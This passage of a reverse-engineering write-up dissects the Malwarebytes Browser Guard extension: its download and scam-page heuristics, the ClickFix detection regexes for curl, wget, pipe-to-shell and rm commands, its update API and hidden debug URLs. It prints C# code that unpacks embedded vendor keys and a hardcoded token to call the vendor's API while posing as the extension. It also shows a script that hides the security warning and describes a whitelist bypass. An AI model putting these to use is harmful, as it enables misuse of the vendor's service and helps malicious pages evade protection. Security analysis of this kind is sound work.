    private const string SecretKeyData = "5f6P1Ovr5PjwtJzimf/Io/iwjejm0dL/x47C8eTEyNz+hPTV1NXPxqG77/zE/N/A25zv17/Xw9v7n+L3wcXV9Mmci9vo57/x/pTF6u6fyNesjo2t1JG77Paoy+jDzM7I77DA8N+Wz637m9fy+NP108SG++S699zTpqXlve7CwOCq8MCpz+PL7aa5x+rq+9bq";
    private const string SecretKeyXor = "YzdFY3JZd2NtM1J6VFR4ZQ==";

    private static string Deobfuscate(string dataB64, string keyB64)
    {
        var data = Convert.FromBase64String(dataB64);
        var key = Convert.FromBase64String(keyB64);

        for (int i = 0; i < data.Length; i++)
            data[i] ^= (byte)(~key[i % key.Length] & 0xff);

        return Encoding.UTF8.GetString(data, 16, data.Length - 16);
    }

    private static string Sha256Hex(string s)
    {
        var bytes = SHA256.HashData(Encoding.UTF8.GetBytes(s));
        var sb = new StringBuilder(bytes.Length * 2);

        foreach (var b in bytes) sb.Append(b.ToString("x2"));

        return sb.ToString();
    }

    private static string Base64Url(byte[] data) => Convert.ToBase64String(data).TrimEnd('=').Replace('+', '-').Replace('/', '_');

    private static string SignJwtHs256(object payload, string secret)
    {
        var header = "{\"alg\":\"HS256\",\"typ\":\"JWT\"}";
        var headerB = Base64Url(Encoding.UTF8.GetBytes(header));

        var payloadJson = JsonSerializer.Serialize(payload);
        var payloadB = Base64Url(Encoding.UTF8.GetBytes(payloadJson));

        var signing = $"{headerB}.{payloadB}";
        using var hmac = new HMACSHA256(Encoding.UTF8.GetBytes(secret));
        var sig = hmac.ComputeHash(Encoding.UTF8.GetBytes(signing));

        return $"{signing}.{Base64Url(sig)}";
    }

    public static async Task Main()
    {
        var accessKey = Deobfuscate(AccessKeyData, AccessKeyXor);
        var secretKey = Deobfuscate(SecretKeyData, SecretKeyXor);

        var productVersion = "3.1.5";
        var productBuild = "0";
        var machineId = Guid.NewGuid().ToString();

        var jwt = SignJwtHs256(new
        {
            accesskey = accessKey,
            productcode = "mbgc-c",
            productversion = productVersion,
            productbuild = productBuild,
            machineid = machineId,
        }, secretKey);

        var domain = "fujikyo.com.vn";
        var ruleId = "21998111";

        var body = JsonSerializer.Serialize(new
        {
            hashes = new[] { new { rule_id = ruleId, sha256 = Sha256Hex(domain) } },
            product_code = "bg",
            product_version = productVersion,
            product_component = "bg",
            product_component_version = "1.0",
            product_build = productBuild,
            product_scantype = "scan",
            machine_id = machineId,
        });

        using var http = new HttpClient();
        var request = new HttpRequestMessage(HttpMethod.Put, "https://hubble.mb-cosmos.com/hashes");

        request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", jwt);
        request.Headers.Accept.ParseAdd("application/vnd.hubble+json; version=2");

        request.Content = new StringContent(body, Encoding.UTF8, "application/json");

        var response = await http.SendAsync(request);
        response.EnsureSuccessStatusCode();

        Console.WriteLine(await response.Content.ReadAsStringAsync());
    }
}
```

{% endcode %}

If we run this, we get the following response:

{% code overflow="wrap" %}

```json
{"results":[{"sha256":"820662c47085f902aa65942661f7e86d28cccab21d40948c436b3789eeca843a","send_file":false,"trust_expires_at":60,"classification":"UNKNOWN","trust_always":false,"reason":"default"}]}
```

{% endcode %}

## 9. Download classification

In addition to domain and page-based checks, the extension includes a separate set of heuristics for download evaluation. This logic is implemented as static lists of **suspicious/dangerous** file extensions, MIME types, URL patterns and TLD risk scores.

### File extension classification

Extensions are split into distinct groups, each treated as a separate signal.

**Office document formats**

{% code overflow="wrap" %}

```
doc, docm, docx, dot, dotm, dotx,
pot, potm, potx, ppa, ppam, pps, ppsm, ppsx, ppt, pptm, pptx,
xla, xlam, xls, xlsb, xlsm, xlsx, xlt, xltm, xltx
```

{% endcode %}

**Executables and binaries**

{% code overflow="wrap" %}

```
apk, bin, com, dat, dll, exe, gadget, inf, jar, lnk, msi, pif, scf, scr, slk
```

{% endcode %}

**Script formats**

{% code overflow="wrap" %}

```
bat, cgi, cmd, hta, js, jse, pl, ps1, ps1m, ps1xml,
ps2, ps2xml, psc1, psc2, py, sh, vb, vba, vbe, vbs, vbscript,
ws, wsc, wsf
```

{% endcode %}

**Archives**

```
7z, arj, deb, gz, pkg, rar, rpm, tar, z, zip
```

**Disk images**

```
dmg, iso
```

**Firefox-specific workaround**

```
.bat.txt, .ps1.txt, .sh.txt, .py.txt
```

This exists because of a long-standing Firefox bug where certain file extensions are reported with an appended `.txt`.

### MIME-based detection

The system maintains separate MIME lists for Office formats, PE executables, and scripts.

**Office MIME types**

{% code overflow="wrap" %}

```
application/msword,
application/vnd.ms-excel.addin.macroEnabled.12,
application/vnd.ms-excel.sheet.binary.macroEnabled.12,
application/vnd.ms-excel.sheet.macroEnabled.12,
application/vnd.ms-excel.template.macroEnabled.12,
application/vnd.ms-excel,
application/vnd.ms-powerpoint.addin.macroEnabled.12,
application/vnd.ms-powerpoint.presentation.macroEnabled.12,
application/vnd.ms-powerpoint.slideshow.macroEnabled.12,
application/vnd.ms-powerpoint.template.macroEnabled.12,
application/vnd.ms-powerpoint,
application/vnd.ms-word.document.macroEnabled.12,
application/vnd.ms-word.template.macroEnabled.12,
application/vnd.openxmlformats-officedocument.presentationml.presentation,
application/vnd.openxmlformats-officedocument.presentationml.slideshow,
application/vnd.openxmlformats-officedocument.presentationml.template,
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,
application/vnd.openxmlformats-officedocument.spreadsheetml.template,
application/vnd.openxmlformats-officedocument.wordprocessingml.document,
application/vnd.openxmlformats-officedocument.wordprocessingml.template
```

{% endcode %}

**PE executable MIME types**

```
application/x-msdos-program
application/x-msdownload
application/exe
application/x-exe
application/vnd.microsoft.portable-executable
```

**Script MIME types**

```
text/javascript
application/javascript
application/x-vbs
text/vbs
text/vbscript
application/x-vbe
application/hta
```

The extension also reads Chrome's built-in `DangerType` classifications, specifically the `content`, `host`, `unwanted`, and `url` danger signals. This means the extension can layer its own verdict on top of what Chrome's download system has already flagged.

### Risk-based TLD scoring

The full `tldRiskLevel` map assigns a numeric weight to over 80 TLDs. The values are 1, 2, or 3, lower numbers indicate higher abuse prevalence in observed campaigns.

The risk level directly controls which extension lists are checked. A download from a risk-1 TLD is checked against all six extension groups including disk images. A download from a risk-3 TLD is only checked against executables, scripts, and the Firefox workaround list.

<figure><img src="/files/OKfRD5XuN0cETYFjV7Kt" alt=""><figcaption></figcaption></figure>

### URL pattern matching

Two patterns are applied to download URLs:

<figure><img src="/files/OtjxfGkz6umKvXFAkcxH" alt=""><figcaption></figcaption></figure>

The first pattern matches any suspicious extension delivered from a WordPress path.&#x20;

The second, commented "Emotet" in the source, specifically targets `.exe` files served from known WordPress directories, reflecting a specific observed campaign delivery method.

### Named campaign patterns

Beyond the generic extension and MIME checks, the source includes several named-pattern detections targeting specific campaigns:

**SocGholish** fake browser update filenames:

```javascript
/(Firefox|Chrome|Edge)(.\w+)?.Update.\w+(.\w+)?(.\w+)?(.\w+)?.(zip|js)$/i
```

### CDN allowlist

A defined list prevents false positives on downloads served from legitimate infrastructure:

<pre class="language-javascript" data-overflow="wrap"><code class="lang-javascript">export const cloudfrontUrls = /^(http|https):\/\/([a-z0-9]+)\.cloudfront\.net\/.*/i;
<strong>export const validRedirectUrls = [
</strong>    /^https?:\/\/(?:[a-z0-9][a-z0-9.-]*\.?)?s3(?:-accesspoint)?(?:(?:[-.][a-z]{2}-[a-z]+-?[a-z]*-\d)|(?:-external-1))?\.amazonaws\.com\/.*/gi, // s3
    cloudfrontUrls,
    /^https?:\/\/(?:[a-z0-9][a-z0-9.-]*\.?)?\.1drv\.com\/.*/i,
    /^https?:\/\/([a-z0-9]*)?\.zoho\.com\/.*/i,
    /^https?:\/\/([a-z0-9]*)?\.sendspace\.com\/.*/i,
    /^https?:\/\/([a-z\d-]+)?\.fastly\.net(\/|$)/i,
    /^https?:\/\/([a-z0-9]*)?\.kxcdn\.com\/.*/i, // Key CDN
    /^https?:\/\/(?:[a-z\d][a-z\d.-]*\.?)?\.stackpath(cdn|dns)\.com(\/|$)/i,
    /^https?:\/\/(?:[a-z\d][a-z\d.-]*\.?)?\.(edgekey|akamaized)\.net(\/|$)/i, // Akamai
    /^https?:\/\/(?:[a-z\d][a-z\d.-]*\.?)?\.?(azurewebsites|azureedge|windows)\.net(\/|$)/i, // Microsoft Azure
    /^https?:\/\/storage\.googleapis\.com\/.*/i, // Google Cloud Storage
    /^https?:\/\/(?:[a-z\d][a-z\d.-]*\.?)?\.cdn77\.(org|com)(\/|$)/i,
    /^https?:\/\/([a-z\d-]+)?\.lswcdn\.net(\/|$)/i, // Lease Web CDN
    /^https?:\/\/(?:[a-z\d][a-z\d.-]*\.?)?\.?metacdn\.(com|net|org)(\/|$)/,
    //BG-1473
    /^https?:\/\/([a-z0-9]*)?\.eljur\.ru/, // eljur.ru
];
</code></pre>

Being served from a CDN is not an automatically safe signal. CloudFront URLs get an extra check, if the filename is matched against a list of keyword pairs associated with known legitimate software:

{% code overflow="wrap" %}

```javascript
const safeCloudfrontFilenames = [
    ["audio", "editor"],
    ["boost", "speed"],
    ["clean", "pc"],
    ["disk", "boost"],
    ["disk", "optimizer"],
    ["disk", "clean"],
    ["disk", "restore"],
    ["driver", "boost"],
    ["fast", "pc"],
    ["fast", "recorder"],
    ["fast", "screen"],
    ["pc", "boost"],
    ["pc", "clean"],
    ["pc", "optimizer"],
    ["pc", "restore"],
    ["pc", "wizard"],
    ["regcleaner"],
    ["registry", "boost"],
    ["registry", "wizard"],
    ["system", "care"],
    ["system", "mechanic"],
    ["system", "optimizer"],
    ["system", "restore"],
    ["system", "wizard"],
    ["tuneup"],
    ["winoptimizer"],
];
```

{% endcode %}

If the filename matches any of these pairs, the warning is suppressed.

### False positive suppression

A separate function, `safePatternFilename()`, acts as a whitelist gate before a download warning is shown. It returns one of three values:&#x20;

* `true`: safe, suppress the warning
* `false`: not safe
* `null`: abstain / defer to other signals

Risky TLDs and IP-hosted downloads return `null` rather than `false`, meaning this function explicitly opts out of suppressing those cases.

<figure><img src="/files/5deAvBO6wJhchyglblCO" alt=""><figcaption></figcaption></figure>

Before any filename logic runs, if the subdomain is exactly `download` or `dl`, the function returns `true` immediately.&#x20;

This means any file served from a subdomain named `download` or `dl` bypasses all filename heuristics entirely. A URL like `download.example.com/file.exe` is considered safe without further checks.

<figure><img src="/files/9Ik5e35pbYMQWMhjg9wp" alt=""><figcaption></figcaption></figure>

From there, the function only continues for `dmg`, `exe`, `msi`, `zip`, and `7z` files. Everything else returns `null`.

<figure><img src="/files/Oy37lj8ojV4FLWxawm5l" alt=""><figcaption></figcaption></figure>

Safe indicators checked against the filename include:

* Keyword substrings: `install`, `installer`, `setup`, `portable`, `converter`, `webcam`, `recovery`
* PDF tool names: `pdftojpg`, `pdftoword`, `pdftoexcel` (exe only)
* CloudFront keyword pairs (see CDN allowlist section above)
* Semantic version patterns in the filename or URL path segments
* Architecture strings in the filename: `x32`, `x64`, `x86`, `i386`, `win32`, `win64`, `msi64`, `msi86`, though for the Windows arch strings, they need to appear in both the filename and the path to count
* Path segments equal to `64bit` or `32bit`
* Domain keywords in the second-level domain: `backup`, `converter`, `disk`, `driver`, `editor`, `software`, `speed`, `system`, `tools`, `vpn`, `webcam`
* Domain-to-filename substring match (minimum 4 characters)
* Referrer trust: a download from `download.example.com` or `cdn.example.com` referred by `example.com` is suppressed

<figure><img src="/files/pk4cjeHN2nCNAGrbqoZU" alt=""><figcaption></figcaption></figure>

There's also a higher-level referrer check in `isSafeReferral()` to check if the page initiating the download is already on the whitelist and the referrer SLD matches the download SLD, the download passes. This function also has a hardcoded exception for `softpedia`.

<figure><img src="/files/2g4iIw9ohqYuFgaB0mRs" alt=""><figcaption></figcaption></figure>

There's a dedicated suppression for `paint.net`, matching patterns like `paintnet`, `paint_net`, and `paint dot net` against the URL.

<figure><img src="/files/NXOKLh1WNAT7HeKDVvIO" alt=""><figcaption></figcaption></figure>

### PE header detection

For certain downloads, the extension fetches the first bytes of the file at classification time and checks for the `MZ` DOS header:

<figure><img src="/files/kzOOIoHqydt862Oe0fLh" alt=""><figcaption></figcaption></figure>

## 10. Tech support scam and browser locker detection

A dedicated content script referenced throughout the source as `TSS` (Tech Support Scam), handles a class of attacks that are neither URL-based nor download-based. These are pages that trap users through browser API abuse rather than malware delivery.

### Browser locker detection

Browser Guard hooks native browser APIs and throws an error to break locker behavior the moment a hook fires

{% code overflow="wrap" %}

```javascript
function setHook({object, f, subtype, detectFunc, proxy = passthru, isBrowserlocker = true}) {
        let originalFunc = object[f];
        object[f] = function() {
            if (detected && !excluded && isBrowserlocker) {
                throw new Error('Breaking Browser Locker Behavior detected'); // Forces a failure of the original Function
            }
            let parameters = [].slice.call(arguments);
            if (!excluded && detectFunc(parameters)) {
                detected = true;
            }
            if (detected && !excluded) {
                notify(subtype, parameters);
            }
            if (detected && !excluded && isBrowserlocker) {
                throw new Error('Breaking Browser Locker Behavior detected'); // Forces a failure of the original Function
            }
            return proxy(originalFunc, this, parameters);
        };
    }
```

{% endcode %}

APIs hooked with their detection thresholds:

<table><thead><tr><th width="290">API</th><th>Subtype</th><th>Threshold</th></tr></thead><tbody><tr><td><code>window.print</code></td><td><code>printLoop</code></td><td>3 times in 10s</td></tr><tr><td><code>window.history.pushState</code></td><td><code>historyLoop</code></td><td>500 times in 1s</td></tr><tr><td><code>window.history.replaceState</code></td><td><code>historyLoop</code></td><td>500 times in 1s</td></tr><tr><td><code>URL.createObjectURL</code></td><td><code>createURLLoop</code></td><td>500 times in 1s</td></tr><tr><td><code>chrome.webstore.install</code></td><td><code>extensionInstall</code></td><td>any call</td></tr><tr><td><code>Notification.requestPermission</code></td><td><code>notificationLoop</code></td><td>2 times in 5s</td></tr></tbody></table>

`replaceState` is hooked with a 2 second delay.

`chrome.webstore.install` and `Notification.requestPermission` use `isBrowserlocker: false`, meaning they detect and report but do not throw.

### Content script detectors

#### Suspicious audio player

Looks for `<audio id="beep" autoplay>` with a `<source type="audio/mpeg">` whose `src` matches known warning sound filenames:

{% code overflow="wrap" %}

```javascript
/(\/warning.mp3)$/i,
/(\/0wa0rni0ng0.mp3)$/i
```

{% endcode %}

#### Trojan scam

Scans all `<h2>` elements against:

```javascript
/trojan *spyware *alert *- *error *code: *#.*/i
```

#### Checkout skimmer

Fires only on `http:` pages (not HTTPS), checking for payment autocomplete attributes:

```javascript
["cc-name", "cc-number", "cc-csc", "cc-exp-month", "cc-exp-year", "cc-exp", "cc-type"]
```

#### Suspicious page

Checks `document.head.outerHTML` against:

{% code overflow="wrap" %}

```javascript
/(Windows-Security-c0de firewall|Windows Defender - Security warning|C00d0e0Info00Er0f0)/i;
```

{% endcode %}

And `document.body.outerHTML` against:

<figure><img src="/files/mGbt8GeZlY85RGoBknmk" alt=""><figcaption></figcaption></figure>

Runs in two passes:

* **At** `DOMContentLoaded`: full `detectSuspiciousPage()`, the title regex against `document.head.outerHTML` and every body pattern against `document.body.outerHTML`.

<figure><img src="/files/HM4p1hdrZDeHYLeIAgat" alt=""><figcaption></figcaption></figure>

* **After 1 s via `setTimeout`**: a narrower re-check via `mbtss.isSuspiciousPage()`, only the suspicious audio-player detector and the `<h2>` Trojan-Spyware-Alert pattern. The head/body string lists are not re-evaluated after 1 s.

<figure><img src="/files/99kJKeJjq0EIFbPxsjtV" alt=""><figcaption></figcaption></figure>

### Skimmer protection injection

When the URL matches `checkoutRegex`, the extension optionally injects a devtools spoof into the page:

{% code overflow="wrap" %}

```javascript
const checkoutRegex = new RegExp('onepage|checkout|onestep|firecheckout|onestepcheckout|onepagecheckout|ordine|checkout$|cart$|checkouts|panier|paiement$');
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
(function() {
    setTimeout(() => (devtools = true), 1000);
    window.Firebug = {chrome: {isInitialized: true}};
})();
```

{% endcode %}

### `beforeunload` suppression

Browser Guard registers its own `beforeunload` listener which immediately calls `stopImmediatePropagation()`. This blocks any later-registered `beforeunload` handler from running and prevents the browser's "are you sure you want to leave?" prompt, but only for handlers attached after the content script ran.

{% code overflow="wrap" %}

```javascript
window.addEventListener("beforeunload", (event) => {
    event.stopImmediatePropagation();
}, false);
```

{% endcode %}

## 11. Shell injection and ClickFix detection

This detection layer focuses on command-like payloads that are copied to the clipboard (normally via javascript), commonly seen in phishing pages, fake CAPTCHA flows, and ClickFix attacks.

These heuristics identify suspicious execution patterns such as:

* Network download commands (`curl`, `wget`)
* Shell piping (`| bash`, `| powershell`)
* Windows LOLBins (`cmd.exe`, `mshta`)
* Destructive commands (`rm -rf`, `cp`, `mv`)
* Command chaining and subshell execution (`;`, `$(`, backticks)

### Clipboard Payload Heuristics

When Browser Guard detects a payload being copied, it injects a warning popup into the current page.

<figure><img src="/files/tIrE4aIc3IXXdeWxs8Hr" alt=""><figcaption></figcaption></figure>

The popup is rendered inside a **closed Shadow DOM**, with the id `malwarebytes-root`.

The closed mode means you can't query inside it, modify its styles, or tamper with its structure from outside. But the host element itself sits in the regular DOM like any other element.

### Triggering the popup

You can trigger the warning yourself from the browser console with a single `postMessage`:

```js
window.postMessage({type: "MSG_SHELL_INJECTION_CLIPBOARD",domain: location.hostname},"*");
```

### Suppressing it with a MutationObserver

Because the host element is injected into the DOM at runtime, a MutationObserver can catch and hide it the moment it appears:

{% code overflow="wrap" %}

```javascript
const KillPopup = () => {
  const bgElement = document.getElementById("malwarebytes-root");
  if (!bgElement) return false;
  bgElement.style.setProperty("display", "none", "important");
  return true;
};

KillPopup();

new MutationObserver(() => KillPopup()).observe(document.documentElement, {childList: true, subtree: true});
```

{% endcode %}

### Full Detection Patterns

For readers who want the implementation-level detail, below are the exact regular expressions used by the detection engine.

<details>

<summary>Full Detection Patterns</summary>

**Network download commands using curl**

{% code overflow="wrap" %}

```javascript
/\bcurl\s+(?:-[A-Za-z]+(?:\s+\S+)*)?(?:\s+)?(?:https?:|ftp:|\w+\.\w+(?:\/\S*)?)/gm;
```

{% endcode %}

Targets `curl http://...`, `curl -fsSL https://...` and chained downloads

***

**Network download commands using wget**

{% code overflow="wrap" %}

```javascript
/\bwget\s+(?:-[A-Za-z-]+(?:\s+\S+)*)?(?:\s+)?(?:https?:|ftp:|\w+\.\w+(?:\/\S*)?|\S+\.(?:exe|sh|bat|ps1|vbs|hta))/gm;
```

{% endcode %}

Captures file downloads via wget and direct payload retrieval patterns.

**Destructive or file-manipulation commands**

{% code overflow="wrap" %}

```javascript
/\b(?:rm\s+-[rfidR]|ls\s+-[A-Za-z]|cp\s+-[A-Za-z]|mv\s+-[A-Za-z])/gm;
```

{% endcode %}

***

**File creation and directory navigation**

```javascript
/\b(?:touch\s+[\/."']|cd\s+[\/."'~])/gm
```

Flags file creation and directory traversal common in multi-stage payloads that stage files before executing them.

***

**Windows execution primitives**

```javascript
/\b(?:cmd(?:\s*\/[cCkK]|\.[eE][xX][eE])|mshta(?:\s*(?:https?:|file:)|\.[eE][xX][eE]))/gm
```

Targets `cmd /c`, `cmd.exe`, and `mshta http://` Windows LOLBins frequently used in phishing.

***

**Echo-based command construction**

```javascript
/\becho\s+[$`(]/gm
```

Catches `echo $VAR`, `echo $()` and backtick expansions used to build or smuggle commands through variable substitution.

***

**Piping into shells**

```javascript
/\|\s*(?:sh|bash|zsh|powershell)\b/gm
```

Detects the classic one-liner pattern: download something, pipe it directly into a shell interpreter.

***

**Command chaining via semicolons**

```javascript
/;\s*(?:\w+\s+-[A-Za-z]|curl|wget|rm|ls|cp|mv|touch|cd|cmd|mshta|echo|grep)\b/gm
```

Flags chained execution sequences like `; curl http://...` or `; rm -rf` common in copy-paste attack payloads.

***

**Subshell and command substitution**

```javascript
/\$\(/gm
/`\(/gm
```

Captures `$(command)` and backtick-based substitution. Both are used to embed execution within strings, often to obscure what's actually running.

</details>

## 12. Update mechanism

The local database files are not static, Browser Guard checks for updates every 30 minutes through their update API.

### Manifest endpoint

```
POST https://sirius.mwbsys.com/api/v1/updates/manifest
```

The only required header for the request to be accepted is the `Authorization`:

```
Authorization: Token token="XbXzxs1H5c852pToE3xA"
```

The token is hardcoded in the extension. You can use `Origin` and `User-Agent` for extra sneak points, but it's not needed.

### Request body

The body identifies the product and lists every package currently installed.

```json
{
  "product": "mbgc-c",
  "build": "consumer",
  "semver": "3.1.5",
  "os_version": "Chrome 143.0.0.0",
  "installation_token": "chrome-<guid>",
  "installed_packages": [
    { "name": "mbgc.db.adware.2", "semver": "1.0.0", "channel": "release" },
    { "name": "mbgc.db.phishing.2", "semver": "1.0.0", "channel": "release" },
    { "name": "mbgc.db.heuristics.json.2", "semver": "1.0.0", "channel": "release" },
    // ...
  ]
}
```

The full list covers everything the extension uses: threat filters (`adware`, `fraud`, `hijack`, `malvertising`, `pharma`, `phishing`, `ransomware`, `reputation`, `riskware`, `spam`, `spyware`, `trojan`) and  whitelist filters (`whitelist.ads`, `whitelist.malware`, `whitelist.scams.manual`, `whitelist.scams.patterns`, `whitelist.tracker`).

Pinning `semver` to `1.0.0` for every entry since we do not know the real versions on the first request.

### Response

The server replies with a manifest containing one entry per package, each with one or more available versions and a CDN-relative URL:

```json
{
  "status": "ok",
  "manifest": {
    "product": "mbgc-c",
    "build": "consumer",
    "semver": "3.1.5",
    "packages": [
      {
        "name": "mbgc.db.phishing.2",
        "available_packages": [
          {
            "semver": "2.0.202604301336",
            "build_metadata": "originalmd5-a2ef35bb30ff505d5f74480302ec5f85",
            "channel": "release",
            "file_hash": {
              "url": "cdn.mwbsys.com/packages/mbgc.db.phishing.2/a/f/7/d/af7d2dff27a545819f93a1a9421f8476/f9357b2b-9a41-4277-b2e0-543a37495cf0.2",
              "file_size": 790355,
              "original_filename": "mbgc.db.phishing.2",
              "content_type": "binary/octet-stream"
            },
            "md5": "af7d2dff27a545819f93a1a9421f8476",
            "sha256": "1eb10caab65a3f3f69384c1813b4476aedda44d51b42d2eb3c3f6bd0bbbc1f7e",
            "build_version": null,
            "bad": false,
            "published_at": 1777556836
          }
        ],
        "available_incrementals": [
          {
            "semver": "2.0.202604301336",
            "build_metadata": "originalmd5-a2ef35bb30ff505d5f74480302ec5f85",
            "file_hash": {
              "url": "cdn.mwbsys.com/packages/mbgc.db.phishing.2/7/4/6/7/746714eda3f3db5acdf58c898f44c6ff/b1e0de0c-53c0-4e9b-a1fb-3b1abf42fa85.incr",
              "file_size": 8187,
              "original_filename": "mbgc.db.phishing.2.incr",
              "content_type": "binary/octet-stream"
            },
            "md5": "746714eda3f3db5acdf58c898f44c6ff",
            "sha256": "3dd9e696de8a32537d97f856f91b78f9731414d1b8b0f37172a5d92d4a96fb26",
            "build_version": null
          }
        ]
      }
    ]
  }
}
```

### A minimal client in C\#

{% code overflow="wrap" %}

```csharp
using Newtonsoft.Json;

namespace ManifestUpdaterBrowserGuard
{
    #region Request Model
    public record RequestManifest(
        [property: JsonProperty("product")] string Product,
        [property: JsonProperty("build")] string Build,
        [property: JsonProperty("semver")] string Semver,
        [property: JsonProperty("os_version")] string OsVersion,
        [property: JsonProperty("installation_token")] string InstallationToken,
        [property: JsonProperty("installed_packages")] IReadOnlyList<InstalledPackage> InstalledPackages
    );

    public record InstalledPackage(
        [property: JsonProperty("name")] string Name,
        [property: JsonProperty("semver")] string Semver,
        [property: JsonProperty("channel")] string Channel
    );
    #endregion

    #region Response Model
    public record AvailablePackage(
        [property: JsonProperty("semver")] string Semver,
        [property: JsonProperty("build_metadata")] string BuildMetadata,
        [property: JsonProperty("channel")] string Channel,
        [property: JsonProperty("file_hash")] FileHash FileHash,
        [property: JsonProperty("md5")] string Md5,
        [property: JsonProperty("sha256")] string Sha256,
        [property: JsonProperty("build_version")] object BuildVersion,
        [property: JsonProperty("bad")] bool Bad,
        [property: JsonProperty("published_at")] int PublishedAt
    );

    public record FileHash(
        [property: JsonProperty("url")] string Url,
        [property: JsonProperty("file_size")] int FileSize,
        [property: JsonProperty("original_filename")] string OriginalFilename,
        [property: JsonProperty("content_type")] string ContentType
    );

    public record ResponseManifest(
        [property: JsonProperty("product")] string Product,
        [property: JsonProperty("build")] string Build,
        [property: JsonProperty("semver")] string Semver,
        [property: JsonProperty("packages")] IReadOnlyList<Package> Packages
    );

    public record AvailableIncremental(
        [property: JsonProperty("semver")] string Semver,
        [property: JsonProperty("build_metadata")] string BuildMetadata,
        [property: JsonProperty("file_hash")] FileHash FileHash,
        [property: JsonProperty("md5")] string Md5,
        [property: JsonProperty("sha256")] string Sha256,
        [property: JsonProperty("build_version")] object BuildVersion
    );

    public record Package(
        [property: JsonProperty("name")] string Name,
        [property: JsonProperty("available_packages")] IReadOnlyList<AvailablePackage> AvailablePackages,
        [property: JsonProperty("available_incrementals")] IReadOnlyList<AvailableIncremental> AvailableIncrementals
    );

    public record BgResponse(
        [property: JsonProperty("status")] string Status,
        [property: JsonProperty("manifest")] ResponseManifest Manifest
    );
    #endregion

    internal class Program
    {
        static async Task<BgResponse> UpdateAllAsync(RequestManifest manifest)
        {
            var _http = new HttpClient();
            var request = new HttpRequestMessage(HttpMethod.Post, "https://sirius.mwbsys.com/api/v1/updates/manifest");

            request.Headers.Add("Authorization", "Token token=\"XbXzxs1H5c852pToE3xA\"");
            
            // extra sneak points
            request.Headers.Add("Origin", "chrome-extension://ihcjicgdanjaechkgeegckofjjedodee");
            request.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36");

            request.Content = new StringContent(JsonConvert.SerializeObject(manifest), System.Text.Encoding.UTF8, "application/json");

            var response = await _http.SendAsync(request);
            response.EnsureSuccessStatusCode();

            string responseContent = await response.Content.ReadAsStringAsync();

            BgResponse? bgResponse = JsonConvert.DeserializeObject<BgResponse>(responseContent);

            if (bgResponse == null)
            {
                throw new InvalidOperationException("root is null");
            }

            return bgResponse;
        }

        static async Task Main(string[] args)
        {
            List<InstalledPackage> installedPackages =
            [
                new("mbgc.db.adware.2", "1.0.0", "release"),
                new("mbgc.db.fraud.2", "1.0.0", "release"),
                new("mbgc.db.hijack.2", "1.0.0", "release"),
                new("mbgc.db.malvertising.2", "1.0.0", "release"),
                new("mbgc.db.pharma.2", "1.0.0", "release"),
                new("mbgc.db.phishing.2", "1.0.0", "release"),
                new("mbgc.db.ransomware.2", "1.0.0", "release"),
                new("mbgc.db.reputation.2", "1.0.0", "release"),
                new("mbgc.db.riskware.2", "1.0.0", "release"),
                new("mbgc.db.spam.2", "1.0.0", "release"),
                new("mbgc.db.spyware.2", "1.0.0", "release"),
                new("mbgc.db.trojan.2", "1.0.0", "release"),
                new("mbgc.db.whitelist.ads.2", "2.0.202604270634", "release"),
                new("mbgc.db.whitelist.malware.2", "1.0.0", "release"),
                new("mbgc.db.whitelist.scams.manual.2", "1.0.0", "release"),
                new("mbgc.db.malware.urls.2", "1.0.0", "release"),
                new("mbgc.db.whitelist.scams.patterns.2", "1.0.0", "release"),
                new("mbgc.db.whitelist.tracker.2", "1.0.0", "release"),
                new("mbgc.db.malware.patterns.json.2", "1.0.0", "release"),
                new("mbgc.db.malware.partial.urls.json.2", "1.0.0", "release"),
                new("mbgc.db.heuristics.json.2", "1.0.0", "release"),
                new("mbgc.db.featureflags.2", "1.0.0", "release"),
                new("mbgc.mv3.dynamicwhitelist.json", "1.0.0", "release"),
            ];

            RequestManifest manifest = new("mbgc-c", "consumer", "3.1.5", "Chrome 147.0.0.0", $"chrome-{Guid.NewGuid()}", installedPackages);
            BgResponse response = await UpdateAllAsync(manifest);
        }
    }
}
```

{% endcode %}

## 13. Hidden debug URL backdoor

The production extension ships with a debug interface keyed to a fixed origin: `https://www.malwarebytes.com/browserguard/debugger?action=<NAME>`.&#x20;

Visiting one of these URLs in any tab triggers a privileged operation inside the service worker, like for example:

* Wipe extension state
* Disable specific protections globally
* Dump diagnostic data
* Force telemetry sends

The interception happens in `webRequest.onBeforeRequest` before the request ever hits the network.

### How the dispatch works

The interception is split across two source modules, both bundled into `background.js`.

`app.js` defines `handleDebugUrls(details)`. It pulls `action` out of the query string and runs the corresponding operation, then returns a `redirectUrl` pointing at the in-extension `app/eventpages/debugger.html` page:

{% code overflow="wrap" %}

```javascript
malwarebytes.handleDebugUrls = (details) => {
    if (details.url === 'https://www.malwarebytes.com/browserguard/download-debug-logs?yes=true') {
        console.debug('BTW: Hit redirect to download URL');
        return { redirectUrl: chrome.runtime.getURL('app/eventpages/downloading.html') };
    }

    if (!details.url.startsWith('https://www.malwarebytes.com/browserguard/debugger?action=')) {
        return null;
    }
    const params = new URL(details.url).searchParams;
    if (!params.has("action")) {
        return null;
    }
    const action = params.get('action');

    if (action === 'factory-reset') {
        console.debug('BTW: Running factory reset');
        malwarebytes.resetExtension();
        return { redirectUrl: chrome.runtime.getURL('app/eventpages/debugger.html?action=factory-reset') };
    }
    
    // 30+ other actions...
    return null;
};
```

{% endcode %}

`app-webrequest-mv3.js` is the MV3 wrapper. It calls `onBeforeTabWebRequest` (which calls `handleDebugUrls`) and then decides what to do with the result:

{% code overflow="wrap" %}

```javascript
const debugUrls = [
    'https://www.malwarebytes.com/browserguard/download-debug-logs?yes=true',
    'https://www.malwarebytes.com/browserguard/debugger?action=user-group-a',
    'https://www.malwarebytes.com/browserguard/debugger?action=my-data',
    'https://www.malwarebytes.com/browserguard/debugger?action=full-stats',
    'https://www.malwarebytes.com/browserguard/debugger?action=factory-reset',
    'https://www.malwarebytes.com/browserguard/debugger?action=toggle-reputation',
    'https://www.malwarebytes.com/browserguard/debugger?action=toggle-local-ip-allow',
    'https://www.malwarebytes.com/browserguard/debugger?action=test-channel-update',
    'https://www.malwarebytes.com/browserguard/debugger?action=populate-detection-history',
];

chrome.webRequest.onBeforeRequest.addListener((details) => {   
    // ...
    const cancelResult = malwarebytes.onBeforeTabWebRequest(details);
